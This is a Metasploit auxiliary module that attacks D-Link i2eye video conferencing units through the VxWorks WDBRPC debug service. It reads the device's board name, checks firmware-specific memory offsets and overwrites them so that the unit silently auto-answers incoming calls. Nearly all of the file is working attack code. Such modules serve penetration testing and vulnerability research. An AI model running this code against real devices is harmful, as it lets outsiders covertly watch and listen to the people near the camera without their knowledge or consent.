1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::WDBRPC_Client
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',
14
        'Description' => %q{
15
          This module can be used to enable auto-answer mode for the D-Link
16
          i2eye video conferencing system. Once this setting has been flipped,
17
          the device will accept incoming video calls without acknowledgement.
18
          The NetMeeting software included in Windows XP can be used to connect
19
          to this device. The i2eye product is no longer supported by the vendor
20
          and all models have reached their end of life (EOL).
21
        },
22
        'Author' => [ 'hdm'],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          ['OSVDB', '66842'],
26
          ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
27
          ['US-CERT-VU', '362332']
28
        ],
29
        'Notes' => {
30
          'Stability' => [CRASH_SAFE],
31
          'SideEffects' => [CONFIG_CHANGES],
32
          'Reliability' => []
33
        }
34
      )
35
    )
36
  end
37

38
  def run
39
    targets = {
40
      # Original firmware for the North America DVC1000
41
      'Sorenson VP100 - ARM9TDMI' => [[0x00229a05, 0x00000000, 0x00000001]],
42

43
      # Final firmware for the North America DVC1000
44
      # Also covers a mislabeled "Sorenson VP100" (revision A3)
45
      'i-2-eye DVC1000 - ARM9TDMI' => [
46
        [0x0040cd68, 0x00000000, 0x01000000],
47
        [0x0040af38, 0x00000000, 0x01000000],
48
        [0x0040cd00, 0x00000000, 0x01000000]
49
      ]
50
    }
51

52
    wdbrpc_client_connect
53

54
    if !@wdbrpc_info[:rt_vers]
55
      print_error('No response to connection request')
56
      return
57
    end
58

59
    membase = @wdbrpc_info[:rt_membase]
60

61
    target = targets[@wdbrpc_info[:rt_bsp_name]]
62
    if !target
63
      print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")
64
      wdbrpc_client_disconnect
65
      return
66
    end
67

68
    target.each do |r|
69
      offset, oldval, newval = r
70

71
      curr = wdbrpc_client_memread(membase + offset, 4).unpack('N')[0]
72
      if (curr != oldval) && (curr != newval)
73
        print_error("The value at offset #{'0x%.8x' % offset} does not match this target (#{'0x%.8x' % curr}), skipping...")
74
        next
75
      end
76

77
      if curr == newval
78
        print_good("The value at offset #{'0x%.8x' % offset} has already been set")
79
      else
80
        wdbrpc_client_memwrite(membase + offset, [newval].pack('N'))
81
        curr = wdbrpc_client_memread(membase + offset, 4).unpack('N')[0]
82
        print_good("The value at offset #{'0x%.8x' % offset} has been set to #{'0x%.8x' % curr}")
83
      end
84

85
      print_status('The target device should now automatically accept incoming calls')
86
    end
87

88
    wdbrpc_client_disconnect
89
  end
90
end
91

92